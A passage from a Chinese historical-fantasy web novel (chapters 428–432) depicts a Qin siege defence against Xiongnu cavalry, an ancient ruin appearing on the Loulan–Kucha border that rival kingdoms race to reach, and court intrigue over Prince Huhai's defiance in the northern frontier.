不惜一切代价,守住烈风关!
绝不能让一头匈奴狼,踏足关后的土地!
突然,远方的地平线上,扬起了遮天蔽日的烟尘!
紧接着!
如同闷雷般的马蹄声由远及近,震得人心头发颤!
一面残破的匈奴狼旗率先出现在视野中。
紧随其后的,是如同潮水般涌来的匈奴骑兵!
他们人数众多,至少有上万之众。
虽然甲胄不全,许多人身上还带着伤,但眼神中却充满了被逼入绝境的疯狂与嗜血。
他们是头曼麾下的一支偏师。
奉命不惜代价,必须在西域联军和乌孙陀罗的追击合围之前,从烈风关撕开一条逃回草原的血路。
“匈奴来了!准备迎敌!”
关墙之上,守关主将,一位面容冷峻的秦军都尉厉声高呼,声音瞬间传遍城墙!
“弩手就位!”
“床弩校准!”
“滚木准备!”
一连串短促有力的命令下达,关墙上的秦军如同精密的机器般迅速运转起来,杀气瞬间凝聚!
匈奴骑兵显然也深知时间紧迫,没有任何试探,直接发起了亡命冲锋!
上万铁蹄叩击大地,如同狂暴的雷霆!
带着一股惨烈,一往无前的气势!
朝着烈风关猛扑过来!!
他们挥舞着弯刀,发出野狼般的嚎叫,试图以最快的速度冲过死亡地带,靠近城墙。
“放箭!”
当匈奴骑兵冲入射程的刹那,秦军都尉狠狠挥下了手臂!
“嗡——!”
一片令人头皮发麻的弓弦震鸣声响起!
数千支弩箭如同死亡的乌云,腾空而起!
带着凄厉的尖啸,划破长空,然后如同暴雨般倾泻而下,精准地覆盖了冲锋的匈奴骑兵阵列!
“噗嗤!噗嗤!噗嗤!”
利刃入肉的闷响连绵不绝。
冲锋的匈奴骑兵人仰马翻,如同被割倒的麦子般成片倒下。
战马的悲鸣与骑兵的惨嚎瞬间响彻原野。
鲜血迅速染红了黄色的沙土地。
但这,并不能完全阻止匈奴人求生的疯狂。
前面的倒下,后面的踩着同袍的尸体和鲜血,红着眼睛继续冲锋!
“床弩!发射!”
“嘎吱——轰!”
数架床弩同时发出怒吼!
儿臂粗细,带着倒钩的巨型弩箭,如同魔神的标枪,带着撕裂一切的气势,猛地射入匈奴骑兵最密集的区域!
“轰!”
一支巨弩直接将一名匈奴百夫长连同他的战马一起钉在了地上,炸开一团血雾。
另一支巨弩更是穿透了数名骑兵,带起一蓬残肢断臂!
匈奴的冲锋势头为之一滞!
“滚木!礌石!给老子砸!”
都尉的声音已经嘶哑。
守军士兵奋力将早已准备好的滚木礌石推下城墙。
沉重的圆木和巨石沿着陡峭的关墙轰然滚落,带着万钧之势,砸入好不容易靠近城墙的匈奴人群中。
骨骼碎裂声、绝望的哀嚎声不绝于耳。
有匈奴骑兵侥幸躲过了箭雨和滚石,冲到了城墙根下,试图架起简陋的云梯。
“金汁!伺候!”
恶臭扑鼻,翻滚着气泡的滚烫金汁被守军用水瓢木桶奋力泼下!
凄厉到不似人声的惨叫瞬间响起!
被金汁浇中的匈奴骑兵如同被投入油锅,皮肤瞬间溃烂起泡,冒着青烟从云梯上摔落,死状极其惨烈。
进攻!
防守!
死亡!
挣扎!
烈风关下,已然化作一片血腥的炼狱。
匈奴人如同扑火的飞蛾,一波又一波地发起决死冲锋!
却在秦军严密的防守和层出不穷的守城利器面前,撞得头破血流,尸横遍野!
战斗从午后持续到黄昏,关墙下的匈奴尸体已经堆积如山,鲜血汇聚成溪流,缓缓渗入干涸的土地。
残存的匈奴骑兵终于耗尽了最后的勇气和力气,看着那如同铁壁般巍然不动的烈风关,眼中充满了绝望。
随着一声苍凉的号角,他们如同潮水般退去,只留下满地狼藉和冲天的血腥气。
关墙之上,秦军将士们也松了一口气。
许多人累得几乎虚脱,但眼神中却充满了胜利的骄傲与坚定。
“清点伤亡,加固城防!”
都尉抹了一把脸上的血水和汗水,声音疲惫却带着不容置疑的坚决。
“告诉兄弟们,守住了!”
“只要烈风关在,匈奴就休想踏进草原一步!”
……
数日后。
赢子夜等人顺利折返回石堡城中。
帅府内。
赢子夜刚刚将大批火雨玛瑙原石交给公输仇后,转身看向蒙犽,沉声吩咐:
“蒙犽将军,西域决战在即,乌孙陀罗与匈奴、联军三方厮杀正酣,你需加派斥候,严密监视各方动向,尤其是乌孙陀罗残部的具体位置和状态,一有异动,立刻来报!”
“末将明白!”
蒙犽独目精光闪烁,领命应下。
然而,就在这时,一名暗河成员悄无声息地进入帅府,将一份密报呈给赢子夜。
赢子夜展开一看,原本沉静的脸色瞬间笼罩上了一层寒霜,目光也变得锐利如冰!
蒙犽察觉到赢子夜气息的变化,心中一凛,低声问道:“殿下,可是前线有变?”
赢子夜将密报递给他,声音听不出喜怒,却带着一股无形的压力。
“暂无大变。”
“是北疆……我的十八弟,看来是打算在北疆常住了。”
蒙犽快速扫过密报,脸色也随之沉了下来!
密报上清楚写着。
胡亥虽表面接令,却以“肃清流窜小股部落,确保北疆绝对安宁”为由,再三拖延与王贲部的交接事宜。
王贲麾下将领奉命前去接管城池,竟被胡亥的部下拦阻在城外。
理由是“局势未明,无法确认对方真实身份,恐是草原部族奸细乔装”!
“十八公子他……他想干什么?!”
蒙犽又惊又怒,声音不由得提高了几分!
胡亥此举,已是公然抗命,其心叵测!!
北疆乃新定之地。
若被胡亥长期把控,拥兵自重,后果不堪设想!
赢子夜闻言,嘴角勾起一抹冰冷而充满讥诮的弧度,眼神幽深如寒潭。
“他想干什么?”
“这恐怕……就得亲自去问问我那位忧国忧民,尽职尽责的十八弟了。”
他语气平淡。
但话语中的寒意却让蒙犽感到一阵心悸!
蒙犽压下心中的怒火,试探性地问道:“殿下,胡亥公子如此行事,已是违逆军令,藐视殿下权威。”
“我们如今……应当如何应对?”
“是否要上书陛下,参他一本?!”
赢子夜微微摇头。
目光投向帅府外北方的天空,短暂地沉吟了片刻。
上书父皇?
远水难救近火。
胡亥既然敢这么做,必然也有所准备。
片刻后,赢子夜收回目光。
眼中已是一片决断的清明。
他看向蒙犽,语气沉稳却带着不容置疑的力量:
“既然十八弟如此担心北疆安危,处处以防患于未然为由,那让王贲将军……好好帮一帮他。”
蒙犽精神一振,凝神细听。
赢子夜继续道:“再传本公子一道命令给王贲。”
“命他派去交接的部队,不必再尝试入城,也无需与胡亥部发生冲突。”
他顿了顿,声音带着一种战略上的冷酷与精准!
“所有前去交接的兵马,全部就在胡亥目前控制的几座核心城池之外,十里处,选择险要地势,安营扎寨,构筑工事!”
赢子夜的目光锐利如刀。
“对外,就宣称是——”
“奉本公子之命,协助十八公子肃清残匪,并严防那些‘流窜的草原部落’偷袭城池,确保北疆重镇万无一失!”
命令下达的瞬间,蒙犽先是一愣!
随即,眼中爆发出恍然与钦佩的光芒!
高!
实在是高!
殿下这一手,堪称绝妙!
明面上,是顺应了胡亥的借口。
派兵“协助”他防务,给了胡亥台阶,避免了直接的冲突和抗命之嫌。
第429章 真正的遗迹现世!
与此同时。
楼兰和龟兹边疆交接之地!
赤岩走廊,秦军大营。
夜色如墨,星月无光,唯有营寨中的火把在夜风中摇曳,映照着巡逻士兵警惕的面容和冰冷的甲胄。
一路从北地郡行军而来的蒙恬并未歇息。
他站在自己的帅帐前,那条由精钢与奇异木材构筑,闪烁着幽冷金属光泽的机关左臂自然垂落,右手指尖无意识地敲击着腰间的剑柄。
自奉命进驻此地,切断大月氏与西域联军的联系以来,他时刻保持着最高级别的警戒。
突然。
“轰隆隆!!!”
一声沉闷至极,仿佛源自大地肺腑深处的巨响,毫无征兆地从西北方向传来!
这声音并非爆炸。
更像是什么沉重无比的东西在移动。
又像是古老的门户在时隔千年后再次开启!!
整个地面都随之微微震颤。
营中的战马不安地嘶鸣起来!
几乎在同一时间。
西北方的天际。
那片原本漆黑一片,属于楼兰与龟兹两国边疆交接的荒芜之地,骤然亮起了一道奇异的无法用言语形容其色彩的光柱!
那光柱并不刺眼,却带着一种穿透灵魂的质感,仿佛连接了天与地!
将那片区域的夜空映照得光怪陆离!
隐约可见有无数细小的如同符文般的光点,在光柱周围流转生灭。
“怎么回事?!”
“地龙翻身了?”
“快看那边!那是什么光?!”
营中瞬间一阵骚动。
士兵们纷纷冲出营帐,惊疑不定地望向那奇光涌现之处。
蒙恬那双饱经沙场,沉稳如渊的眸子骤然收缩,死死盯住那道通天光柱,心脏不受控制地加速跳动!
他猛地想起了殿下曾经提及过的关于西域可能存在真正古老遗迹的猜测。
以及乌孙陀罗从葬月谷获得邪力之事……
“遗迹……难道,这才是真正的遗迹现世?!”
一个念头如同闪电般划过蒙恬的脑海!
这动静,这异象,绝非寻常!!
若真是遗迹,其重要性,甚至可能超过眼前与西域联军的对峙!
他没有任何犹豫,猛地转身,声音如同金铁交鸣,瞬间压下了营中的嘈杂。
“全军听令!”
“各归本位,加强警戒,没有我的命令,任何人不得擅动,更不得议论!”
他随即点向自己的亲卫统领和几名心腹将领:“你,立刻点齐五百精锐,全部轻甲简从,携带强弓劲弩,随本将军前去查探!”
“你,速去安排,调磐石营三千人马,即刻出发,封锁通往异象发生地的所有大小路径!”
“没有我的手令,便是只鸟也不准飞过去!!”
“诺!”
众将领命,立刻行动起来,效率极高。
蒙恬深吸一口气,那条机关左臂的指关节发出细微的“咔哒”声。
他翻身上马,一拉缰绳:“出发!”
五百精锐如同离弦之箭,冲出大营,朝着那奇光冲天的方向疾驰而去。
越是靠近,越能感受到那股源自古老岁月的磅礴与神秘气息。
空气中,弥漫着一种难以言喻的能量波动。
让人心神悸动。
当他们抵达光柱附近时,眼前的景象让见多识广的蒙恬也为之震撼。
那光柱并非从地面射出,而是源自一个刚刚坍塌,显露出来的巨大地下入口!
入口处,弥漫着氤氲的光雾。
隐约可见内部是巨大而古老的石制建筑轮廓。
风格迥异于当世任何文明。
充满了蛮荒与神秘的气息!
奇异的符文在入口周围的石壁上若隐若现,散发出微弱的光芒。
“果然……是遗迹!”
蒙恬稳住心神,眼神变得无比锐利和凝重!
他立刻下令:“所有人,以遗迹入口为中心,半径五百步,设立警戒圈!”
“擅闯者,格杀勿论!”
他看向身旁一名绝对忠诚,身手敏捷的校尉,沉声道:
“你,立刻挑选三匹最快的马,轮换不息,以八百里加急的速度,将此地情况火速呈报六公子!”
“记住,消息必须亲手交到殿下手中!”
“告诉他,疑似真正遗迹现世,位于楼兰、龟兹边境,我已派兵封锁,请殿下速做定夺!”
“末将领命!”
那校尉毫不迟疑,立刻点齐人马,如同旋风般冲入夜色,向着东方疾驰而去。
蒙恬则指挥着陆续赶到的磐石营将士,开始构筑更加严密的防御工事,将这片区域围得水泄不通。
……
然而,蒙恬没有察觉到的是。
在远处一片起伏的沙丘阴影中。
几双如同毒蛇般的眼睛,正死死盯着那奇光冲天的遗迹入口,以及正在忙碌布防的秦军。
“快……快去禀报王上!”
“真正的……真正的圣地……”
“在楼兰和龟兹边境出现了!!!”
一个压抑着极致激动与贪婪的声音在阴影中低语!
一道黑影如同鬼魅般悄无声息地滑下沙丘,向着大月氏控制区的方向,玩命般狂奔而去。
而剩下的暗桩,则如同融入了沙石般,继续潜伏下来,死死监视着秦军的一举一动。
……
数日后。
楼兰王宫。
金碧辉煌,檀香袅袅。
年迈的楼兰王正倚在软榻上,听着舞姬的靡靡之音。
手指随着节奏轻轻敲击。
一名内侍却神色慌张,连滚爬爬地冲了进来,甚至来不及行礼,便尖声叫道:“大王!神迹!神迹现世了!”
楼兰王浑浊的眼睛猛地睁开!
他挥退了舞姬,声音带着一丝不易察觉的颤抖!
“何处?仔细说来!”
“就在……就在我国与龟兹交界的‘赤岩走廊’附近!”
“昨夜天生异象,奇光冲天,据可靠消息,是某座古老的遗迹门户洞开!”
“现在,一支秦军已经将其重重包围了!”
内侍激动得语无伦次。
“赤岩走廊……秦军……”
楼兰王猛地坐直身体!
脸上先是闪过极致的贪婪与渴望,随即又被深深的忧虑取代。
他喃喃自语:“传说中蕴含无上力量与长生奥秘的圣地……竟然真的存在,还出现在我楼兰边境!”
“可……可恨那秦军……”
他枯瘦的手指死死攥住榻边,骨节发青。
与秦军正面冲突?
他不敢。
但让他眼睁睁看着神迹落入秦人,或者龟兹人手中?
他更不甘心!
“不能硬抢……但也不能什么都不做!”
楼兰王眼中闪过一丝狡黠与狠厉,他猛地对内侍下令!
“立刻去请国师,还有‘沙影’、‘风镰’两位尊者!”
很快。
一名身披七彩羽衣,手持水晶权杖的老者。
以及两名气息沉凝,眼神锐利如鹰的中年武者来到殿内。
这三人,便是楼兰王室供奉的最强者!
两位指玄境巅峰的尊者,以及一位精通古老巫术的国师!
“三位爱卿。”
楼兰王声音急促,带着不容置疑的命令。
“赤岩走廊出现神迹,想必你们已经知晓。”
“秦军势大,我楼兰不宜正面争夺。”
“但神迹关乎国运,绝不能落入他人之手!”
“本王命你三人,即刻出发,潜入赤岩走廊!”
“你们的任务,不是与秦军交战,而是设法避开秦军耳目,潜入遗迹内部!”
“探查其中奥秘,若有可能……带回神迹核心之物!”
他目光灼灼地盯着三人:“记住,隐秘为上!”
“若能得手,本王与楼兰,绝不亏待尔等!”
国师与两位尊者对视一眼,眼中皆流露出凝重与一丝兴奋。
他们躬身领命:“谨遵王命!必不负大王所托!”
三道身影随即如同鬼魅般消失在王宫深处。
……
而几乎在同一时间。
龟兹王宫也上演着类似的一幕。
龟兹王不像楼兰王那般年老,正值壮年,性格也更加急躁狠辣。
他收到消息后,直接砸碎了手中的玉杯,咆哮道:“神迹在我龟兹边境出现,岂容秦人染指?!”
“楼兰那个老狐狸肯定也派人去了!”
他看向殿内一名如同铁塔般沉默的巨汉,以及一名身形瘦小,眼神却如同毒蛇般阴冷的侏儒。
这二人是龟兹最强的武者,“磐石”与“鬼刃”。
一名指玄境巅峰,一名天象境初期!
“磐石!鬼刃!”
龟兹王声音如同闷雷。
“你二人带上本王亲卫中最好的十名好手,立刻赶往赤岩走廊!”
“给本王盯紧了!”
“若楼兰的人想浑水摸鱼,给本王宰了他们!”
“若秦军露出破绽,就给本王抢在所有人前面,冲进遗迹!”
第430章 如此妙事,岂能少了逆流沙!
此刻。
赤岩走廊外围。
一片隐蔽的风化岩群中。
几名身披伪装,气息与周围环境几乎融为一体的大月氏暗桩,正死死盯着远处被秦军灯火照得如同白昼的遗迹入口。
为首的小头领,是一个脸上带着狰狞刀疤,眼神如同饿狼般的汉子。
名叫兀鹫。
他正是之前派人回去报信的那个。
“头儿,王上那边还没有消息传回吗?”
一名手下焦急地低声问道,“楼兰和龟兹的杂碎肯定也得到消息了,周围也已经有一些可疑的身影在活动了!”
兀鹫舔了舔干裂的嘴唇,眼中闪烁着疯狂与贪婪的光芒。
他紧紧盯着那散发着诱人气息的遗迹入口,仿佛能闻到其中蕴含的强大力量。
乌孙陀罗王上获得力量后那毁天灭地的姿态,深深烙印在他脑海里!
若是他兀鹫也能得到这遗迹中的力量……
“等不及了!”
兀鹫猛地一咬牙,脸上刀疤扭曲,显得格外狰狞!
“王上远在黑石堡,消息来回需要时间!”
“等王令到来,菜都凉了!”
“这神迹,必须掌握在我们大月氏手中!”
他猛地转头,看向身边仅存的五名手下,这些都是他精心培养的死士,实力不俗。
“听着!王上赋予我们监视之责,但更赋予了我们在关键时刻临机决断之权!”
“如今便是关键时刻!”
“楼兰、龟兹的高手已经出动,秦军虽然封锁严密,但遗迹初现,必有疏漏!”
他眼中凶光毕露,压低声音,带着破釜沉舟的决绝!
“我们不等了!”
“就凭我们几个,趁现在混乱初起,摸进去!”
“能抢到一点是一点!”
“就算抢不到核心,也要弄清楚里面的情况,绝不能让好处全被秦狗和那些西域杂碎占了!”
一名手下有些犹豫:“头儿,就我们几个……是不是太冒险了?”
“那支秦军有上将蒙恬坐镇,还有那么多兵马……”
“怕什么!”
兀鹫低吼一声,脸上满是赌徒般的疯狂。
“富贵险中求!”
“别忘了王上如今的力量是怎么来的!”
“这可能是我们一步登天的唯一机会!”
“难道你们想一辈子当个躲在阴影里的暗桩吗?”
“跟我干这一票,成了,荣华富贵,力量权势,应有尽有!”
“就算败了……也比眼睁睁看着机缘溜走强!”
他这番话,瞬间点燃了手下们心中的贪婪与野心。
“干了!”
“听头儿的!”
“拼了!”
兀鹫看着手下们被煽动起来的狂热眼神,满意地点点头:“好!准备一下,一刻钟后,我们从西侧那个裂缝摸过去!”
“记住,我们的目标是遗迹内部,尽量避免与秦军和西域人纠缠!”
“走!”
六道如同阴影般的身影,悄无声息地离开了藏身之处。
如同扑向猎物的饿狼,朝着那散发着无尽诱惑的遗迹入口,潜行而去。
……
石堡城。
帅府内。
烛火通明。
赢子夜刚刚听完了蒙恬加急送来的关于赤岩走廊遗迹现世的密报。
以及暗河随后补充的,关于楼兰、龟兹已派遣高手,甚至大月氏暗桩也按捺不住开始行动的情报。
他站在巨大的西域沙盘前,手指无意识地敲击着盘沿,眼神深邃,如同暗流汹涌的寒潭。
遗迹的出现,打乱了他原本坐山观虎斗,最后收网的节奏。
这突如其来的变数,如同一块巨石投入本就浑浊的池塘,必将引来更多嗜血的鲨鱼。
“真正的遗迹……果然不止一处。”
赢子夜低声自语,嘴角勾起一抹冰冷的弧度。
“乌孙陀罗得到的,恐怕真是个残次品,或者……是某个更大阴谋的诱饵。”
“这赤岩走廊的,才是正主?”
他迅速权衡着利弊。
蒙恬大军需要封锁交通要道,切断西域联军主力的退路,不能轻易调动去争夺遗迹。
公输仇这边火雨玛瑙兵器的打造正在关键时刻,也分身乏术。
而他自己,需要坐镇中枢,统筹全局,应对可能出现的任何变故。
那么,能够以最快速度,最强势姿态介入此事,并且有能力在各方势力虎视眈眈下火中取栗的,只剩下……
赢子夜不再犹豫。
立刻从怀中取出了那枚与卫庄联络的特定通讯符箓。
神识沉入,将赤岩走廊遗迹现世,楼兰龟兹高手已动,大月氏暗桩潜入以及蒙恬大军位置等关键信息,尽数传递了过去。
……
遥远的大月氏王都附近。
一处荒废的土堡内。
卫庄抱臂靠坐在阴影里,鲨齿剑横于膝上,灰眸半阖,如同假寐的凶兽。
赤练慵懒地逗弄着腕间的毒蛇,白凤则静立窗边,仿佛与外面的夜色融为一体。
突然,卫庄怀中一枚符箓微微发烫!
他缓缓睁开眼,取出符箓,神识扫过其中信息。
那万年冰封般的冷漠脸庞上,嘴角竟难以抑制地缓缓勾起了一抹弧度。
那并非喜悦。
而是一种看到了值得撕裂的猎物,嗅到了血腥气息,近乎残酷的兴奋与讥诮!
“呵……”
一声低沉而带着金属质感的冷笑从他喉间溢出,在寂静的土堡内显得格外清晰。
赤练和白凤立刻将目光投向他。
“大人,何事如此……有趣?”
赤练舔了舔红唇,媚眼如丝,却带着一丝好奇。
卫庄缓缓站起身,鲨齿剑在鞘中发出细微的嗡鸣,仿佛也在渴望饮血。
他灰眸中寒光流转,语气平淡,却带着一种无形的霸气与决断。
“赢子夜传来消息,赤岩走廊,有‘大鱼’咬钩了。”
“真正的遗迹现世,楼兰、龟兹的高手,还有乌孙陀罗的几只小老鼠,都迫不及待地想去分一杯羹。”
他顿了顿,目光扫过赤练和白凤,声音带着一丝嗜血的玩味。
“看来,我们这看客,是当不下去了。”
“这场戏,少了我们逆流沙,岂非无趣?!”
白凤微微颔首,蓝色的眼眸中闪过一丝锐利。
赤练则娇笑起来,腕间的赤练王蛇兴奋地昂起了头颅!
“走吧。”
卫庄不再多言,率先向外走去。
土堡之外,夜色深沉。
卫庄发出一声清越的唿哨!
片刻后,高空中传来一声穿金裂石的禽鸟长鸣!
一只体型巨大,羽翼洁白如雪的神骏大鸟,如同撕裂夜幕的闪电,俯冲而下,带起强烈的气流,稳稳地落在三人面前。
卫庄纵身一跃,轻巧地落在鸟背之上。
白凤与赤练紧随其后。
“唳——!”
大鸟再次发出一声长鸣,巨大的双翼展开,猛地一振,带着背上的三道身影,如同离弦之箭般冲天而起。
冲破云层。
朝着赤岩走廊的方向,疾驰而去!
夜风猎猎,吹动着三人的衣袂。
卫庄抱剑立于鸟首,灰眸俯瞰着下方飞速掠过的苍茫大地,眼中…是毫不掩饰的冰冷与势在必得!
第431章 李斯,你携寡人旨意,前往边疆!
夜色深沉如墨。
咸阳宫在星月黯淡下更显巍峨肃穆。
章台宫内,烛火通明。
却驱不散那弥漫在空气中的沉重与冰冷!
始皇帝嬴政,端坐于御案之后,玄衣纁裳,冕旒低垂,遮掩了他大半面容。
唯有那如同深渊般的目光,穿透旒珠的间隙,落在手中一份刚刚由黑冰台密使呈上的绝密军报上。
他看得极慢。
手指无意识地摩挲着冰冷的玉圭。
周身散发出的无形威压,让侍立在远处的内侍们连呼吸都小心翼翼,生怕惊扰了这尊掌控天下的帝王。
当他的目光扫过军报中关于北疆,关于胡亥借故拖延,阻挠王贲接管城池的部分时。
那深渊般的眸子里,骤然翻涌起极其复杂的波澜!
有一丝不易察觉的痛惜。
但更多的,是一种仿佛早已预料,却又带着无尽冰冷的失望!
他的思绪,不由自主地飘回了许多年前。
那个才华横溢,曾与他亲密无间的弟弟,长安君成蟜……
当年,他并非没有给过机会,并非真的愿意骨肉相残!
但,为了大秦的稳定,为了扫清一切可能威胁帝国根基的隐患,他最终还是举起了屠刀!
那是他心中一道从未真正愈合的伤疤!
如今,历史似乎又要重演。
胡亥,他年幼的儿子,虽未必真有举起反旗的胆量。
但这拥兵自重,抗拒兄命的举动,其野心已昭然若揭!
这分明是想借着北疆的战功和兵力,与他的六哥赢子夜,一争高下!
“帝王之家……终是免不了流血么……”
一声几不可闻的叹息,在嬴政的心底响起,带着一丝疲惫。
但更多的,是身为帝王,必须做出的冷酷无情的决断。
任何可能分裂帝国,引发内乱的苗头,都必须被扼杀在萌芽之中!
他缓缓抬起头,冕旒碰撞发出清脆的微响,声音不高,却带着不容置疑的威严,如同金口玉言,响彻寂静的宫殿。
“传,李斯,扶苏。”
命令迅速被传达下去。
不过一炷香的时间。
丞相李斯与长公子扶苏便脚步匆匆地赶至章台宫。
两人踏入殿门的瞬间,便敏锐地感受到了那不同寻常的凝重气氛!
嬴政并未像往常那般批阅奏章,只是静静地坐着,如同一座压抑着雷霆的火山。
扶苏心中不安,上前一步,躬身行礼,声音带着关切:“父皇连夜召见儿臣与丞相,可是边疆之地…发生了什么重大变故?”
他隐约感觉到。
这变故恐怕跟他的两个弟弟有关。
嬴政没有立刻回答。
他甚至没有看扶苏和李斯。
只是将那卷军报,用两根手指,轻轻推到了御案的边缘。
李斯会意,立刻上前,恭敬地双手捧起军报,快速浏览起来。
随着目光在竹简上移动,这位素来沉稳的丞相,脸色也渐渐变得凝重,甚至闪过一丝惊容!
扶苏也凑近观看,当他看清上面的内容时,温润的脸上瞬间血色褪尽,眼中充满了难以置信与深深的忧虑。
胡亥他……
他怎么敢?!
殿内陷入了死一般的寂静。
只有烛火燃烧偶尔发出的噼啪声。
良久。
嬴政那听不出任何情绪的声音才再次响起。
如同从九天之上传来,带着审判般的重量!
“对于此事,你二人……如何看?”
扶苏猛地回过神来。
他脸上带着急切与不忍,立刻拱手,声音因激动而微微提高!
“父皇!北疆之地历经苦战,方才初步平定,人心未附,百废待兴!”
“此刻绝对绝对不能再掀起内乱,让将士流血,让百姓惶恐了!!”
他抬起头,眼中带着一丝恳求与决然!
“儿臣愿亲自前往北疆,面见十八弟,陈明利害,劝他以国事为重,即刻交出兵权,返回咸阳!”
“儿臣定当竭力斡旋,避免同室操戈,手足相残!”
扶苏的提议充满了仁厚与理想。
他希望以兄长的温情和道理说服胡亥。
然而,嬴政听完,依旧沉默着,冕旒下的目光深邃难测,并未对扶苏的请求做出任何表示。
他将目光转向了一直沉吟未语的李斯。
李斯感受到皇帝的目光,心中凛然!
他深知,胡亥此举已触及帝王逆鳞,绝非几句劝说所能解决!
说不定他还是蓄谋已久……
扶苏公子的想法虽好,但过于天真。
若胡亥铁了心不听,甚至可能将扶苏也陷于险地!
此刻,需要的是雷霆手段,是足以震慑一切的绝对权威!!
他深吸一口气,上前一步,躬身到底,声音沉稳而清晰,带着法家特有的冷静与决断!
“陛下,扶苏公子仁德,顾念兄弟之情,臣感佩。”
“然,十八公子此举,已非寻常违令,实乃拥兵自重,其心难测!”
“仅凭劝说,恐难奏效,甚至可能打草惊蛇,逼其鋌而走险。”
他抬起头,目光锐利:“当此之时,需以绝对权威,迅雷不及掩耳之势,解除其兵权,方可稳定北疆,杜绝后患!”
“臣,李斯,愿携陛下圣旨,亲赴北疆!”
他顿了顿,语气加重,带着不容置疑的力量!
“由王贲将军调派绝对忠诚之精锐,配合臣,以陛下之名,逐一接手北疆各城防务!”
“若有冥顽不灵,胆敢抗旨者,以谋逆论处,立斩不赦!”
“唯有如此,方能以最小代价,最快速度,平定此事,避免酿成更大兵祸,动摇国本!”
李斯的话,如同一柄出鞘的利剑,冰冷而高效,直指问题核心。
嬴政静静地听着,脸上依旧没有任何表情。
但那双深渊般的眸子里,闪过一丝极淡却近乎残酷的认可。
这才是处理此事应有的态度和手段!
仁慈,在帝国家国的稳定面前,有时是致命的弱点!
片刻的沉寂后,嬴政缓缓颔首,终于做出了决断,声音如同亘古不化的寒冰,带着定鼎天下的威严:
“准。”
一个字,重逾千钧!!
决定了北疆的格局,也决定了胡亥的命运。
“李斯,你即刻准备,携朕密旨,赶赴北疆。”
“一切,依你之策行事!”
“王贲会全力配合于你。”
“臣,领旨!”
李斯深深一拜,心中已然开始筹划此行细节。
就在李斯准备告退之时,嬴政的声音再次响起。
这一次,似乎带上了一丝极其微弱,几乎无法察觉的波动。
但那帝王的威严却未曾减少分毫!
“必要之时……切记,留胡亥一命。”
这并非心软。
而是作为父亲,最后的一丝…或许连他自己都不愿承认的,骨血之情!
亦或是,他不想让帝国的史书上,留下太多兄弟相残的记载。
李斯身形微顿,立刻明白了皇帝那复杂的心意,再次躬身。
“臣……明白!臣告退。”
他倒退着,一步步退出章台宫,直到殿门在身后缓缓合上,将那无尽的威严隔绝在内。
……
与此同时。
石堡城。
锻造工坊区域叮当作响。
炽热的气息混合着火雨玛瑙特有的奇异能量波动弥漫在空气中!
公输仇正带着弟子们挥汗如雨,将一块块暗红色的玛瑙原石镶嵌,并熔炼到各式兵刃与特制箭簇之中。
赢子夜站在一旁,看着那逐渐成型,专门为克制死气而生的武器,眼中闪过一丝满意。
再有十日。
这批利器便可装备部队。
届时,面对乌孙陀罗的傀儡大军,他将更有底气!
然而,这份短暂的平静,被一阵急促的脚步声打破。
一名传令兵脸色凝重,手持一份染着烽火气的军报,疾步来到赢子夜面前,单膝跪地!
“报——殿下!北地郡八百里加急军情!”
赢子夜眉头微蹙,接过军报迅速展开。
当他看清上面的内容时,那双深邃的眼眸骤然收缩,眉头紧紧锁起!
军报上赫然写着!
北地郡遭遇大规模狼族部落突袭,数个边境村落被焚,守军损失惨重,郡城告急!
第432章 此仇不报,我胡亥誓不为人!!!
“狼族部落?”
赢子夜的声音带着一丝冰冷的疑惑。
“狼族早在北伐前便已臣服,如今竟敢背盟反叛?”
“甚至还能发动出如此猛烈的攻势?!”
一股强烈的不对劲感瞬间涌上赢子夜心头。
北疆刚刚经历大战,主要部族已被击溃,即便有小股残匪流窜,也绝无可能组织起能威胁郡城的大规模攻势!
这背后,定然有蹊跷!
他猛地抬头,目光锐利如刀,直射传令兵:“胡亥呢?十八弟此刻在何处?”
“北地郡乃他北征大军后方,他岂会坐视不理?”
传令兵连忙回禀:“据北地郡求援信使所言,十八公子此前确实一直在边境地带清剿那些袭扰村落的小股草原部族。”
“得知郡城被围,狼族大举进犯的消息后,十八公子已率领主力,火速离开清剿区域,回师驰援北地郡了!”
听到胡亥已经率军回援,赢子夜紧绷的心弦稍稍松弛了一瞬。
目前看来,无论胡亥之前有何心思,面对外敌入侵,他终究还是分得清轻重,知道第一时间回援。
这至少表明,他尚未完全利令智昏,将个人野心凌驾于国境安危之上。
但,也仅仅是稍稍松弛而已!
赢子夜的眉头并未完全展开。
眼中的疑虑反而更深!
这一切,未免太过巧合!
胡亥刚刚以“清剿残匪”为由拖延交接,这边北地郡就遭到了本应无力组织大规模进攻的狼族猛攻?
而胡亥又“恰好”在附近清剿,能够第一时间回援?
他嗅到了一股浓郁的,精心策划的味道。
这像是一个局。
一个将胡亥和他的兵力,重新合理地调回北地郡核心区域的局!
目的是什么?
是为了巩固他对北地郡的实际控制?
还是为了应对王贲所部可能带来的压力?
亦或是……
有更深的图谋?
无论如何,北地郡不容有失!
那里是连接北疆与内地的咽喉。
一旦被狼族攻破,战火将直接烧向帝国腹地,后果不堪设想!
而且,他绝不能将如此重要的郡城和数万边民的安危,完全寄托在胡亥那并不完全可靠的忠心上。
毕竟,夫人还在那里!
短暂的沉吟后,赢子夜眼中闪过一丝决断。
他转身,对侍立一旁的赵弋苍和蒙犽沉声道:
“公输先生这边,加快进度,但务必保证质量!”
“蒙犽,西域大局依旧由你掌控,按原计划,密切关注三方动向,火雨玛瑙兵器未成之前,稳守为主!”
他最后看向赵弋苍,语速加快,带着命令!
“赵弋苍,你立刻从守城部队中,给本公子点齐一万精锐步骑!”
“要机动力强的!配备双马,携带十日干粮和足够的箭矢!”
“半个时辰后,随本公子出发,驰援北地郡!”
蒙犽闻言一惊:“殿下,您要亲自去?西域此地……”
“北地郡事关重大,不容有失!”
“胡亥虽已回援,但局势诡谲,本公子必须亲自前去坐镇,以防万一!”
赢子夜打断他,语气斩钉截铁。
“西域之事,你全权负责!”
“记住,守城为上!”
“诺!”
蒙犽和赵弋苍见赢子夜决心已定,不再多言,立刻领命而去。
赢子夜站在原地,目光再次投向那批尚未完全完工的火雨玛瑙兵器,又望向北方的天空,眼神冰冷而锐利。
“胡亥……但愿你真的只是去‘驰援’……”
他低声自语,声音中带着一丝不易察觉的冷意。
北地郡,绝不能成为任何人争权夺利的筹码!
……
北地郡城。
硝烟弥漫,残破的城墙上布满了刀劈斧凿的痕迹和干涸的血迹。
连续数日的猛攻,让这座边陲重镇如同在狂风暴雨中飘摇的孤舟,随时可能倾覆!
城外,狼族士兵如同潮水般一波又一波地涌来!
他们发出野性的嚎叫,悍不畏死地冲击着摇摇欲坠的防线!
